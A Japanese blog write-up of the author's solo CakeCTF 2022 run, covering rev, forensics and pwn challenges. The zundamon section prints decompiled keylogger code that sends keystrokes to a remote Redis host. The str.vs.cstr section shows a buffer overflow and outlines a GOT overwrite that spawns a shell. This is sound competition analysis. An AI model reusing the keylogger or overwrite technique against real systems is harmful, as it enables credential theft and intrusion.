9/3 - 9/4という日程で開催された。ひとりチーム( 'ᾥ' )で出て10位🍰 今回は裏番組としてBalsn CTFが開催されていたからかはしらんけど、上位チームにソロのチームが多くて、私が把握しているだけでも、上位15チームのうちなんと私を含めた9チームがソロだった。世の中にはオールラウンダーがいっぱいいてこわい。
InterKosenCTFという名前だった頃から問題のクオリティは高かったけれども、さらに面白くなっていてとても楽しめた。が、今年はWeb問を全完できなかったのが大変悔しい。残っていたのはWebのImageSurfingという php://filter
を最大限活用する問題で、International Cybersecurity Challengeでも似たような問題を落としてしまったのもあって*1*2余計に悔しい。チーム名と同じ表情で画面と向き合っていた。ン~~~~。
リンク:
(2022-10-18追記)賞品(湯呑、タオル、クリアファイル)が届いた。かわいい。
CakeCTF 2022の賞品届きました! ありがとうございます🙏 #CakeCTF pic.twitter.com/qG0eGUIU2H
— st98 (@st98_) October 18, 2022
クリアファイルに書かれているのはRubyのQuine。実はフラグが仕込まれていて、ゴニョゴニョすると CakeCTF{2022}
というフラグが得られる。
- [welcome 46] Welcome (676 solves)
- [survey 71] Survey (226 solves)
- [rev 68] nimrev (246 solves)
- [rev 121] luau (64 solves)
- [rev, forensics 204] zundamon (20 solves)
- [pwn 105] str.vs.cstr (88 solves)
- [pwn 113] welkerme (75 solves)
- [web 98] CakeGEAR (104 solves)
- [web 135] OpenBio (50 solves)
- [web 289] Panda Memo (9 solves)
- [misc 133] readme 2022 (52 solves)
- [misc 204] C-Sandbox (20 solves)
- [cheat 196] matsushima3 (22 solves)
- [cheat 289] Cake Memory (9 solves)
[welcome 46] Welcome (676 solves)
Get the flag in Discord
ということでDiscordサーバに入るとフラグがもらえる。
CakeCTF{p13a53_tast3_0ur_5p3cia1_cak35}
[survey 71] Survey (226 solves)
Solving this challenge won't update the flag submission timestamp. So, take enough time to fill the survey!
ということでアンケートに答えるとフラグがもらえる。
なぜかnimrevよりもsolvesが少なかったアンケート問。
[rev 68] nimrev (246 solves)
Have you ever analysed programs written in languages other than C/C++?
添付ファイル: nimrev_91d94cdd51fd142d556030242fcab6d7.tar.gz
問題名からNim製なんだろうなあと察する。添付ファイルを展開すると chall
というx86_64のELFが出てくるが、これは入力した文字列がフラグであるかどうかをチェックしてくれるバイナリっぽい。
$ ./chall hoge Wrong...
x86_64ということはフリー版のIDAでもデコンパイルができる。まず main
から見ていくと、NimMain
という関数が呼び出されていることが分かる。
int __cdecl main(int argc, const char **argv, const char **envp) { cmdLine = (__int64)argv; cmdCount = argc; gEnv = (__int64)envp; NimMain(); return nim_program_result; }
NimMain
はこんな感じ。
unsigned __int64 NimMain() { void (*v1)(void); // [rsp+0h] [rbp-10h] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); PreMain(); v1 = (void (*)(void))NimMainInner; initStackBottomWith(&v1); v1(); return v2 - __readfsqword(0x28u); }
さらに NimMainInner
を見ると、中で NimMainModule
が呼び出されている。NimMainModule
を見ると、v4 + 16
から始まるバイト列が明らかに怪しい。map_main_11
にそのバイト列と colonanonymous__main_7
という関数が引数として渡されているけれども、結局のところはそのバイト列の各バイトをビット反転しているだけだ。
__int64 __fastcall colonanonymous__main_7(char a1) { return (unsigned __int8)~a1; } __int64 __fastcall map_main_11(__int64 a1, __int64 a2, __int64 (__fastcall *a3)(_QWORD), __int64 a4) { char v4; // al __int64 i; // [rsp+20h] [rbp-20h] __int64 v9; // [rsp+28h] [rbp-18h] v9 = newSeq(&NTIseqLcharT__lBgZ7a89beZGYPl8PiANMTA_, a2); for ( i = 0LL; i < a2; ++i ) { if ( a4 ) v4 = ((__int64 (__fastcall *)(_QWORD, __int64))a3)((unsigned int)*(char *)(i + a1), a4); else v4 = a3((unsigned int)*(char *)(i + a1)); *(_BYTE *)(v9 + i + 16) = v4; } return v9; } unsigned __int64 NimMainModule() { __int64 v0; // rsi __int64 v1; // rax __int64 Line_systemZio_271; // [rsp+0h] [rbp-40h] __int64 v4; // [rsp+8h] [rbp-38h] __int64 *v5; // [rsp+10h] [rbp-30h] __int64 v6; // [rsp+18h] [rbp-28h] __int64 (__fastcall *v7)(); // [rsp+20h] [rbp-20h] BYREF __int64 v8; // [rsp+28h] [rbp-18h] __int64 v9; // [rsp+30h] [rbp-10h] BYREF unsigned __int64 v10; // [rsp+38h] [rbp-8h] v10 = __readfsqword(0x28u); nimZeroMem_0(&v9, 8LL); Line_systemZio_271 = readLine_systemZio_271(stdin); v4 = newSeq(&NTIseqLcharT__lBgZ7a89beZGYPl8PiANMTA_, 24LL); *(_BYTE *)(v4 + 16) = 0xBC; *(_BYTE *)(v4 + 17) = 0x9E; *(_BYTE *)(v4 + 18) = 0x94; *(_BYTE *)(v4 + 19) = 0x9A; *(_BYTE *)(v4 + 20) = 0xBC; *(_BYTE *)(v4 + 21) = 0xAB; *(_BYTE *)(v4 + 22) = 0xB9; *(_BYTE *)(v4 + 23) = 0x84; *(_BYTE *)(v4 + 24) = 0x8C; *(_BYTE *)(v4 + 25) = 0xCF; *(_BYTE *)(v4 + 26) = 0x92; *(_BYTE *)(v4 + 27) = 0xCC; *(_BYTE *)(v4 + 28) = 0x8B; *(_BYTE *)(v4 + 29) = 0xCE; *(_BYTE *)(v4 + 30) = 0x92; *(_BYTE *)(v4 + 31) = 0xCC; *(_BYTE *)(v4 + 32) = 0x8C; *(_BYTE *)(v4 + 33) = 0xA0; *(_BYTE *)(v4 + 34) = 0x91; *(_BYTE *)(v4 + 35) = 0xCF; *(_BYTE *)(v4 + 36) = 0x8B; *(_BYTE *)(v4 + 37) = 0xA0; *(_BYTE *)(v4 + 38) = 0xBC; *(_BYTE *)(v4 + 39) = 0x82; nimZeroMem_0(&v7, 16LL); v7 = colonanonymous__main_7; v8 = 0LL; if ( v4 ) v0 = *(_QWORD *)v4; else v0 = 0LL; v5 = (__int64 *)map_main_11(v4 + 16, v0, v7, v8); if ( v5 ) v1 = *v5; else v1 = 0LL; v6 = join_main_42(v5 + 2, v1, 0LL); if ( (unsigned __int8)eqStrings(Line_systemZio_271, v6) != 1 ) v9 = copyString(&TM__V45tF8B8NBcxFcjfe7lhBw_5); else v9 = copyString(&TM__V45tF8B8NBcxFcjfe7lhBw_4); echoBinSafe(&v9, 1LL); return v10 - __readfsqword(0x28u); }
CyberChefに投げるとよい。
CakeCTF{s0m3t1m3s_n0t_C}
[rev 121] luau (64 solves)
Aloha! This is a luau for reverse engineerers!
添付ファイル: luau_705482e0dbe2ae8bae1c6c752d635049.tar.gz
添付ファイルを展開すると main.lua
, libflag.lua
が出てくる。main.lua
の方は libflag.lua
から checkFlag
という関数をインポートする普通のLuaコードなんだけれども、libflag.lua
の方はバイナリっぽい。file
コマンドに投げてみると、これは(luac
が吐き出すような)Luaのバイトコードであることがわかった。
$ cat main.lua local libflag = require "libflag" io.write("FLAG: ") flag = io.read("*l") if libflag.checkFlag(flag, "CakeCTF 2022") then print("Correct!") else print("Wrong...") end $ xxd libflag.lua | head 00000000: 1b4c 7561 5300 1993 0d0a 1a0a 0408 0408 .LuaS........... 00000010: 0878 5600 0000 0000 0000 0000 0000 2877 .xV...........(w 00000020: 4001 0000 0000 0000 0000 0000 0202 0500 @............... 00000030: 0000 2c00 0000 4b40 0000 4a00 0080 6600 ..,...K@..J...f. 00000040: 0001 2600 8000 0100 0000 040a 6368 6563 ..&.........chec 00000050: 6b46 6c61 6701 0000 0001 0001 0000 0000 kFlag........... 00000060: 0100 0000 2000 0000 0200 296e 0000 008b .... .....)n.... 00000070: 0000 0dc1 0000 0001 4100 0041 8100 0081 ........A..A.... 00000080: c100 00c1 0101 0001 4201 0041 8201 0081 ........B..A.... 00000090: c201 00c1 0202 0001 4302 0041 8302 0081 ........C..A.... $ file * libflag.lua: Lua bytecode, main.lua: ASCII text
適当にググって出てきた viruscamp/luadec
というツールでデコンパイルを試みたが、セグフォってしまった。逆アセンブルだけなら大丈夫なので、その結果を libflag.dis
に保存しておく。
$ luadec/luadec/luadec libflag.lua cannot find blockend > 5 , pc = 4, f->sizecode = 5 cannot find blockend > 110 , pc = 109, f->sizecode = 110 -- Decompiled using luadec 2.2 rev: 895d923 for Lua 5.3 from https://github.com/viruscamp/luadec -- Command line: libflag.lua Segmentation fault $ luadec/luadec/luadec -dis libflag.lua > libflag.dis cannot find blockend > 5 , pc = 4, f->sizecode = 5 cannot find blockend > 110 , pc = 109, f->sizecode = 110
libflag.dis
の内容は以下の通り。最初に初期化されているR2というバイト列がめちゃくちゃ怪しい。EQ
が2回出現しているが、1回目はその直前に R2
の長さと第一引数の長さを比較していて、そこでまず一致していなければ return false
している。2回目はおそらく1文字ずつ第一引数が正しいかチェックしていて、ここでもやはり一致していなければすぐに return false
している。つまり、EQ
が呼び出された回数が得られれば、第一引数のうち何文字が正しいかがわかる。
; Disassembled using luadec 2.2 rev: 895d923 for Lua 5.3 from https://github.com/viruscamp/luadec ; Command line: -dis libflag.lua ; Function: 0 ; Defined at line: 0 ; #Upvalues: 1 ; #Parameters: 0 ; Is_vararg: 2 ; Max Stack Size: 2 0 [-]: CLOSURE R0 0 ; R0 := closure(Function #0_0) 1 [-]: NEWTABLE R1 0 1 ; R1 := {} (size = 0,1) 2 [-]: SETTABLE R1 K0 R0 ; R1["checkFlag"] := R0 3 [-]: RETURN R1 2 ; return R1 4 [-]: RETURN R0 1 ; return ; Function: 0_0 ; Defined at line: 1 ; #Upvalues: 1 ; #Parameters: 2 ; Is_vararg: 0 ; Max Stack Size: 41 0 [-]: NEWTABLE R2 26 0 ; R2 := {} (size = 26,0) 1 [-]: LOADK R3 K0 ; R3 := 62 2 [-]: LOADK R4 K1 ; R4 := 85 3 [-]: LOADK R5 K2 ; R5 := 25 4 [-]: LOADK R6 K3 ; R6 := 84 5 [-]: LOADK R7 K4 ; R7 := 47 6 [-]: LOADK R8 K5 ; R8 := 56 7 [-]: LOADK R9 K6 ; R9 := 118 8 [-]: LOADK R10 K7 ; R10 := 71 9 [-]: LOADK R11 K8 ; R11 := 109 10 [-]: LOADK R12 K9 ; R12 := 0 11 [-]: LOADK R13 K10 ; R13 := 90 12 [-]: LOADK R14 K7 ; R14 := 71 13 [-]: LOADK R15 K11 ; R15 := 115 14 [-]: LOADK R16 K12 ; R16 := 9 15 [-]: LOADK R17 K13 ; R17 := 30 16 [-]: LOADK R18 K14 ; R18 := 58 17 [-]: LOADK R19 K15 ; R19 := 32 18 [-]: LOADK R20 K16 ; R20 := 101 19 [-]: LOADK R21 K17 ; R21 := 40 20 [-]: LOADK R22 K18 ; R22 := 20 21 [-]: LOADK R23 K19 ; R23 := 66 22 [-]: LOADK R24 K20 ; R24 := 111 23 [-]: LOADK R25 K21 ; R25 := 3 24 [-]: LOADK R26 K22 ; R26 := 92 25 [-]: LOADK R27 K23 ; R27 := 119 26 [-]: LOADK R28 K24 ; R28 := 22 27 [-]: LOADK R29 K10 ; R29 := 90 28 [-]: LOADK R30 K25 ; R30 := 11 29 [-]: LOADK R31 K23 ; R31 := 119 30 [-]: LOADK R32 K26 ; R32 := 35 31 [-]: LOADK R33 K27 ; R33 := 61 32 [-]: LOADK R34 K28 ; R34 := 102 33 [-]: LOADK R35 K28 ; R35 := 102 34 [-]: LOADK R36 K11 ; R36 := 115 35 [-]: LOADK R37 K29 ; R37 := 87 36 [-]: LOADK R38 K30 ; R38 := 89 37 [-]: LOADK R39 K31 ; R39 := 34 38 [-]: LOADK R40 K31 ; R40 := 34 39 [-]: SETLIST R2 38 1 ; R2[0] to R2[37] := R3 to R40 ; R(a)[(c-1)*FPF+i] := R(a+i), 1 <= i <= b, a=2, b=38, c=1, FPF=50 40 [-]: LEN R3 R0 ; R3 := #R0 41 [-]: LEN R4 R2 ; R4 := #R2 42 [-]: EQ 1 R3 R4 ; if R3 ~= R4 then goto 44 else goto 46 43 [-]: JMP R0 2 ; PC += 2 (goto 46) 44 [-]: LOADBOOL R3 0 0 ; R3 := false 45 [-]: RETURN R3 2 ; return R3 46 [-]: NEWTABLE R3 0 0 ; R3 := {} (size = 0,0) 47 [-]: NEWTABLE R4 0 0 ; R4 := {} (size = 0,0) 48 [-]: LOADK R5 K32 ; R5 := 1 49 [-]: LEN R6 R0 ; R6 := #R0 50 [-]: LOADK R7 K32 ; R7 := 1 51 [-]: FORPREP R5 8 ; R5 -= R7; pc += 8 (goto 60) 52 [-]: GETTABUP R9 U0 K33 ; R9 := U0["string"] 53 [-]: GETTABLE R9 R9 K34 ; R9 := R9["byte"] 54 [-]: SELF R10 R0 K35 ; R11 := R0; R10 := R0["sub"] 55 [-]: MOVE R12 R8 ; R12 := R8 56 [-]: ADD R13 R8 K32 ; R13 := R8 + 1 57 [-]: CALL R10 4 0 ; R10 to top := R10(R11 to R13) 58 [-]: CALL R9 0 2 ; R9 := R9(R10 to top) 59 [-]: SETTABLE R3 R8 R9 ; R3[R8] := R9 60 [-]: FORLOOP R5 -9 ; R5 += R7; if R5 <= R6 then R8 := R5; PC += -9 , goto 52 end 61 [-]: LOADK R5 K32 ; R5 := 1 62 [-]: LEN R6 R1 ; R6 := #R1 63 [-]: LOADK R7 K32 ; R7 := 1 64 [-]: FORPREP R5 8 ; R5 -= R7; pc += 8 (goto 73) 65 [-]: GETTABUP R9 U0 K33 ; R9 := U0["string"] 66 [-]: GETTABLE R9 R9 K34 ; R9 := R9["byte"] 67 [-]: SELF R10 R1 K35 ; R11 := R1; R10 := R1["sub"] 68 [-]: MOVE R12 R8 ; R12 := R8 69 [-]: ADD R13 R8 K32 ; R13 := R8 + 1 70 [-]: CALL R10 4 0 ; R10 to top := R10(R11 to R13) 71 [-]: CALL R9 0 2 ; R9 := R9(R10 to top) 72 [-]: SETTABLE R4 R8 R9 ; R4[R8] := R9 73 [-]: FORLOOP R5 -9 ; R5 += R7; if R5 <= R6 then R8 := R5; PC += -9 , goto 65 end 74 [-]: LOADK R5 K32 ; R5 := 1 75 [-]: LEN R6 R3 ; R6 := #R3 76 [-]: LOADK R7 K32 ; R7 := 1 77 [-]: FORPREP R5 9 ; R5 -= R7; pc += 9 (goto 87) 78 [-]: ADD R9 R8 K32 ; R9 := R8 + 1 79 [-]: LEN R10 R3 ; R10 := #R3 80 [-]: LOADK R11 K32 ; R11 := 1 81 [-]: FORPREP R9 4 ; R9 -= R11; pc += 4 (goto 86) 82 [-]: GETTABLE R13 R3 R8 ; R13 := R3[R8] 83 [-]: GETTABLE R14 R3 R12 ; R14 := R3[R12] 84 [-]: SETTABLE R3 R8 R14 ; R3[R8] := R14 85 [-]: SETTABLE R3 R12 R13 ; R3[R12] := R13 86 [-]: FORLOOP R9 -5 ; R9 += R11; if R9 <= R10 then R12 := R9; PC += -5 , goto 82 end 87 [-]: FORLOOP R5 -10 ; R5 += R7; if R5 <= R6 then R8 := R5; PC += -10 , goto 78 end 88 [-]: LOADK R5 K32 ; R5 := 1 89 [-]: LEN R6 R3 ; R6 := #R3 90 [-]: LOADK R7 K32 ; R7 := 1 91 [-]: FORPREP R5 14 ; R5 -= R7; pc += 14 (goto 106) 92 [-]: GETTABLE R9 R3 R8 ; R9 := R3[R8] 93 [-]: SUB R10 R8 K32 ; R10 := R8 - 1 94 [-]: LEN R11 R4 ; R11 := #R4 95 [-]: MOD R10 R10 R11 ; R10 := R10 % R11 96 [-]: ADD R10 K32 R10 ; R10 := 1 + R10 97 [-]: GETTABLE R10 R4 R10 ; R10 := R4[R10] 98 [-]: BXOR R9 R9 R10 ; R9 := R9 ~ R10 99 [-]: SETTABLE R3 R8 R9 ; R3[R8] := R9 100 [-]: GETTABLE R9 R3 R8 ; R9 := R3[R8] 101 [-]: GETTABLE R10 R2 R8 ; R10 := R2[R8] 102 [-]: EQ 1 R9 R10 ; if R9 ~= R10 then goto 104 else goto 106 103 [-]: JMP R0 2 ; PC += 2 (goto 106) 104 [-]: LOADBOOL R9 0 0 ; R9 := false 105 [-]: RETURN R9 2 ; return R9 106 [-]: FORLOOP R5 -15 ; R5 += R7; if R5 <= R6 then R8 := R5; PC += -15 , goto 92 end 107 [-]: LOADBOOL R5 1 0 ; R5 := true 108 [-]: RETURN R5 2 ; return R5 109 [-]: RETURN R0 1 ; return
EQ
が呼ばれた回数をどうやって取得するかだが、これはバイトコードを実行するVMを改造してなんとかしたい。この程度の量なら真面目に読めばいいじゃんという話だけど、命令の実行回数が取れればよさそうとわかって謎命令列読むの面倒くさいスイッチが入ってしまった。
Luaは lvm.c
にVM周りの処理が集中しているので、そこで EQ
が来たときの処理を探す。以下のように、EQ
の実行回数(と、ついでにオペランド)を確認できるようにするパッチをあてる。rb->value_.i
というメンバ名は lobject.h
を確認してわかった。
--- old.c 2022-09-04 11:46:41.033906300 +0900 +++ new.c 2022-09-04 11:45:43.490968900 +0900 @@ -1084,6 +1084,7 @@ vmcase(OP_EQ) { TValue *rb = RKB(i); TValue *rc = RKC(i); + printf("[DEBUG]%d %d\n", rb->value_.i, rc->value_.i); Protect( if (luaV_equalobj(L, rb, rc) != GETARG_A(i)) ci->u.l.savedpc++;
コンパイルして実行する。確かに取得できている。
$ cd lua-5.3.3/src; make linux; cd ../.. $ echo "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}" | ./lua-5.3.3/src/lua main.lua FLAG: [DEBUG]38 38 [DEBUG]62 62 [DEBUG]32 85 Wrong... $ echo "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" | ./lua-5.3.3/src/lua main.lua FLAG: [DEBUG]38 38 [DEBUG]2 62 Wrong...
Pythonで1文字ずつブルートフォースするスクリプトを書く。
# coding: utf-8 import re import subprocess import string import sys table = list(string.printable.strip().replace("'", '').encode()) res = list(b'$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$') l = len(res) p = re.compile(rb'\[DEBUG\](\d+) (\d+)') def go(r): tmp = bytes(r).decode() return subprocess.check_output(f"echo '{tmp}' | lua-5.3.3/src/lua main.lua", shell=True) for _ in range(l): # 初期状態の確認 r = go(res) cnt = r.count(b'[DEBUG]') ds = p.findall(r)[-1] # 位置を探る for i in range(l): tmp = res[:] tmp[i] = 0x41 r = go(tmp) if cnt == r.count(b'[DEBUG]') and ds != p.findall(r)[-1]: break else: print('wtf') sys.exit(1) # 正解の文字をブルートフォースで当てる for c in table: tmp = res[:] tmp[i] = c r = go(tmp) if r.count(b'[DEBUG]') > cnt: res[i] = c break print(bytes(res))
実行する。
$ python3 solve.py b'$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$}' b'$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$4}' b'$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$r4}' b'$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$1r4}' b'$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$l1r4}' … b'$$$$CTF{w4n1w4n1_p4n1c_uh0uh0_g0ll1r4}' b'$$$eCTF{w4n1w4n1_p4n1c_uh0uh0_g0ll1r4}' b'$$keCTF{w4n1w4n1_p4n1c_uh0uh0_g0ll1r4}' b'$akeCTF{w4n1w4n1_p4n1c_uh0uh0_g0ll1r4}' b'$akeCTF{w4n1w4n1_p4n1c_uh0uh0_g0ll1r4}' $ lua main.lua FLAG: CakeCTF{w4n1w4n1_p4n1c_uh0uh0_g0ll1r4} Correct!
CakeCTF{w4n1w4n1_p4n1c_uh0uh0_g0ll1r4}
luauのCakeCTF{w4n1w4n1_p4n1c_uh0uh0_g0ll1r4}というフラグが好き ベストフラグオブザイヤー
— st98 (@st98_) September 4, 2022
[rev, forensics 204] zundamon (20 solves)
I found a suspicious process named "zundamon" running on my computer. Can you investigate the communication logs to confirm that no information has been leaked?
This program may harm your computer. Do not run it outside sandbox.
zundamon_6b0cd1ac946498fcd41bf245b324490e.tar.gz
添付ファイルを展開すると、zundamon
というx86_64のELFと evidence.pcapng
というファイルが出てくる。zundamon
を実行している様子をキャプチャしたものが evidence.pcapng
なのかな。フリー版のIDAに投げてデコンパイルする。main
がこんな感じ。デーモン化している。
int __cdecl main(int argc, const char **argv, const char **envp) { char *v3; // rax v3 = getenv("I_AGREE_TO_RUN_POSSIBLE_MALWARE_FILE"); if ( !v3 || strcmp(v3, "yes") ) { puts("We can't let you run this program unless you understand what it is, nanoda!"); exit(1); } if ( daemon(0, 0) ) perror("Could not run the program, nanoda!"); else mainloop(); return 0; }
先程の main
から呼び出されていた mainloop
を見ていく。ここで使われている source
, sink
, get_target_name
, exfiltrate
という関数が気になるので、ひとつひとつ見ていきたい。
void mainloop() { int v0; // eax int v1; // r12d int v2; // eax int v3; // r13d ssize_t v4; // rsi char *v5; // rbx unsigned __int64 v6; // rbp __int64 v7; // [rsp+0h] [rbp-C48h] BYREF char v8; // [rsp+12h] [rbp-C36h] BYREF unsigned __int64 v9; // [rsp+C08h] [rbp-40h] v9 = __readfsqword(0x28u); v0 = source(); if ( v0 != -1 ) { v1 = v0; v2 = sink(); v3 = v2; if ( v2 != -1 ) { get_target_name(v2); while ( 1 ) { v4 = read(v1, &v7, 0xC00uLL); if ( v4 < 0 ) break; if ( v4 > 23 ) { v5 = &v8; v6 = 0LL; do { if ( *((_WORD *)v5 - 1) == 1 && *(_WORD *)v5 && *(_DWORD *)(v5 + 2) <= 2u && (unsigned int)exfiltrate(v3) == -1 ) { break; } ++v6; v5 += 24; } while ( v6 < v4 / 0x18uLL ); } } close(v1); close(v3); exit(0); } if ( v9 == __readfsqword(0x28u) ) { close(v1); return; } goto LABEL_18; } if ( v9 != __readfsqword(0x28u) ) LABEL_18: _libc_csu_init(); }
まずは source
だが、なにやら /dev/input
下のデバイスファイルを使ってイベントを取得しようとしている。マウスか、キーボードか。
__int64 source() { int v0; // eax unsigned __int64 v1; // rbx __int64 v2; // r13 unsigned int v3; // ebp unsigned __int64 v4; // rbx struct dirent *v5; // rdi int v7; // [rsp+4h] [rbp-2044h] BYREF struct dirent **namelist; // [rsp+8h] [rbp-2040h] BYREF char file[16]; // [rsp+10h] [rbp-2038h] BYREF char v10[16]; // [rsp+1010h] [rbp-1038h] BYREF unsigned __int64 v11; // [rsp+2018h] [rbp-30h] v11 = __readfsqword(0x28u); v0 = scandir("/dev/input", &namelist, is_char, (int (*)(const struct dirent **, const struct dirent **))&alphasort); if ( v0 < 0 ) { v3 = -1; } else { if ( v0 ) { v1 = 0LL; v2 = 8LL * v0; do { v7 = 0; __snprintf_chk(file, 4096LL, 1LL, 4096LL, "%s/%s", "/dev/input", namelist[v1 / 8]->d_name); v3 = open(file, 0); if ( v3 != -1 ) { ioctl(v3, 0x80044520uLL, &v7); if ( (v7 & 1) != 0 ) { ioctl(v3, 0x80044521uLL, &v7); if ( (v7 & 0x3E) == 62 ) { ioctl(v3, 0x90004507uLL, v10); if ( v10[0] ) goto LABEL_10; } } close(v3); } v1 += 8LL; } while ( v2 != v1 ); v3 = -1; LABEL_10: v4 = 0LL; do { v5 = namelist[v4 / 8]; v4 += 8LL; free(v5); } while ( v2 != v4 ); } else { v3 = -1; } free(namelist); } if ( v11 == __readfsqword(0x28u) ) return v3; else return sink(); }
続いて sink
を見ていく。164.70.70.9
の 6379/tcp
に接続できるかどうかを確認している様子がわかる。送信している *1\r\n$4\r\nPING\r\n
という文字列はRESPっぽいし、そのポート番号や PONG
というレスポンスがあるかどうか確認しているところからも相手はRedisサーバっぽい。
__int64 sink() { int v0; // edi int v1; // eax unsigned int v2; // r12d struct sockaddr v4; // [rsp+0h] [rbp-38h] BYREF int buf; // [rsp+10h] [rbp-28h] BYREF char v6; // [rsp+14h] [rbp-24h] unsigned __int64 v7; // [rsp+18h] [rbp-20h] v0 = 2; v7 = __readfsqword(0x28u); v1 = socket(2, 1, 0); if ( v1 < 0 ) { v2 = -1; } else { v2 = v1; *(_DWORD *)&v4.sa_family = 0xEB180002; *(_DWORD *)&v4.sa_data[2] = inet_addr("164.70.70.9"); connect(v2, &v4, 0x10u); if ( write(v2, "*1\r\n$4\r\nPING\r\n", 0xEuLL) < 0 || (v0 = v2, read(v2, &buf, 5uLL) < 0) || buf != 0x4E4F502B || v6 != 71 ) { v0 = v2; v2 = -1; close(v0); } } if ( v7 == __readfsqword(0x28u) ) return v2; else return get_target_name(v0); }
get_target_name
を見ていく。ioctl(fd, 0x8927uLL, dest);
(0x8927uLL
は SIOCGIFHWADDR
) という処理から見てもMACアドレスを確認していそう。
__int64 __fastcall get_target_name(int fd) { struct ifaddrs *v1; // r12 struct ifaddrs *v2; // rax struct sockaddr *ifa_addr; // rdx const char *ifa_name; // rsi __int64 result; // rax socklen_t len; // [rsp+4h] [rbp-64h] BYREF struct ifaddrs *ifap; // [rsp+8h] [rbp-60h] BYREF struct sockaddr addr; // [rsp+10h] [rbp-58h] BYREF char dest[8]; // [rsp+20h] [rbp-48h] BYREF int v10; // [rsp+28h] [rbp-40h] __int16 v11; // [rsp+2Ch] [rbp-3Ch] char v12; // [rsp+2Eh] [rbp-3Ah] __int16 v13; // [rsp+30h] [rbp-38h] unsigned __int8 v14; // [rsp+32h] [rbp-36h] unsigned __int8 v15; // [rsp+33h] [rbp-35h] unsigned __int8 v16; // [rsp+34h] [rbp-34h] unsigned __int8 v17; // [rsp+35h] [rbp-33h] unsigned __int8 v18; // [rsp+36h] [rbp-32h] unsigned __int8 v19; // [rsp+37h] [rbp-31h] unsigned __int64 v20; // [rsp+48h] [rbp-20h] v20 = __readfsqword(0x28u); v11 = 0; v13 = 2; *(_QWORD *)dest = 812151909LL; v10 = 0; v12 = 0; len = 16; getsockname(fd, &addr, &len); getifaddrs(&ifap); v1 = ifap; v2 = ifap; if ( ifap ) { while ( 1 ) { ifa_addr = v2->ifa_addr; if ( ifa_addr ) { if ( ifa_addr->sa_family == 2 && *(_DWORD *)&ifa_addr->sa_data[2] == *(_DWORD *)&addr.sa_data[2] ) { ifa_name = v2->ifa_name; if ( ifa_name ) break; } } v2 = v2->ifa_next; if ( !v2 ) goto LABEL_9; } strncpy(dest, ifa_name, 0xFuLL); } LABEL_9: freeifaddrs(v1); ioctl(fd, 0x8927uLL, dest); __snprintf_chk(mac, 18LL, 1LL, 18LL, "%.2x:%.2x:%.2x:%.2x:%.2x:%.2x", v14, v15, v16, v17, v18, v19); result = v20 - __readfsqword(0x28u); if ( result ) return exfiltrate((int)mac); return result; }
最後に exfiltrate
を見ていく。これは引数として与えられた文字列を先程のRedisサーバに(MACアドレスをキーとして) RPUSH
で送りつける関数っぽい。
void __fastcall exfiltrate(int fd, char a2, const void *a3) { size_t v4; // rax size_t v5; // rax char buf[4]; // [rsp+Ch] [rbp-ACh] BYREF char s[136]; // [rsp+10h] [rbp-A8h] BYREF unsigned __int64 v8; // [rsp+98h] [rbp-20h] buf[0] = a2; v8 = __readfsqword(0x28u); if ( write(fd, "*3\r\n$5\r\nRPUSH\r\n", 0xFuLL) >= 0 ) { v4 = strlen(mac); __snprintf_chk(s, 128LL, 1LL, 128LL, "$%ld\r\n%s\r\n", v4, mac); v5 = strlen(s); if ( write(fd, s, v5) >= 0 && write(fd, "$3\r\n", 4uLL) >= 0 && write(fd, a3, 2uLL) >= 0 && write(fd, buf, 1uLL) >= 0 ) { write(fd, "\r\n", 2uLL); } } if ( v8 != __readfsqword(0x28u) ) mainloop(); }
zundamon
がどういう挙動をするかはわかったので、ソルバを書いていく。とりあえずこれがキーロガーだということにして、どんなキーが押されているか出力するスクリプトにしたい。以下はググるとヒットするwriteupのキーマップをありがたく利用しつつ、Scapyでパケットを読んでいくスクリプト。
# coding: utf-8 import struct from keymap import get_key # https://ctftime.org/writeup/21148 from scapy.all import * shift = False for pkt in PcapReader('evidence.pcapng'): if TCP not in pkt: continue if pkt[TCP].dport != 6379: continue payload = bytes(pkt[TCP])[32:] if b'd8:f2:ca:ce:44:8d' not in payload: continue payload = payload[payload.index(b'$3\r\n')+4:] event = payload.split(b'\r\n')[0] code, x = event[0], event[2] key = get_key(code) if key == 'LEFTSHIFT': if x == 1: shift = True else: shift = False print(x, int(shift), key)
実行して1文字ずつ追っていくとフラグが得られる。
CakeCTF{b3_c4r3fuL_0f_m4l1c10us_k3yL0gg3r}
ずんだもんなのだ。
[pwn 105] str.vs.cstr (88 solves)
Which do you like, C string or C++ string?
nc pwn1.2022.cakectf.com 9003
添付ファイル: str_vs_cstr_f088c31cd2d3c18483e24f38df724cad.tar.gz
添付ファイルを展開すると、chall
というx86_64のELFと、そのソースコードである main.c
が出てくる。main.c
は以下のような内容だが、1. set c_str
を選択した場合で明らかにBOFができる。
#include <array> #include <iostream> struct Test { Test() { std::fill(_c_str, _c_str + 0x20, 0); } char* c_str() { return _c_str; } std::string& str() { return _str; } private: __attribute__((used)) void call_me() { std::system("/bin/sh"); } char _c_str[0x20]; std::string _str; }; int main() { Test test; std::setbuf(stdin, NULL); std::setbuf(stdout, NULL); std::cout << "1. set c_str" << std::endl << "2. get c_str" << std::endl << "3. set str" << std::endl << "4. get str" << std::endl; while (std::cin.good()) { int choice = 0; std::cout << "choice: "; std::cin >> choice; switch (choice) { case 1: // set c_str std::cout << "c_str: "; std::cin >> test.c_str(); break; case 2: // get c_str std::cout << "c_str: " << test.c_str() << std::endl; break; case 3: // set str std::cout << "str: "; std::cin >> test.str(); break; case 4: // get str std::cout << "str: " << test.str() << std::endl; break; default: // otherwise exit std::cout << "bye!" << std::endl; return 0; } } return 1; }
str
に書き込んだ後に、c_str
への書き込み時のBOFを利用して、str
が指すアドレスを .got.plt
の適当なアドレスに書き換える。その後にもう一度 str
への書き込みを試みると、.got.plt
に保持されていた関数のアドレスを書き換えることができる。今回は Test::call_me
という /bin/sh
を起動してくれる便利なメソッドがあるので、それに書き換える。これでシェルが得られた。
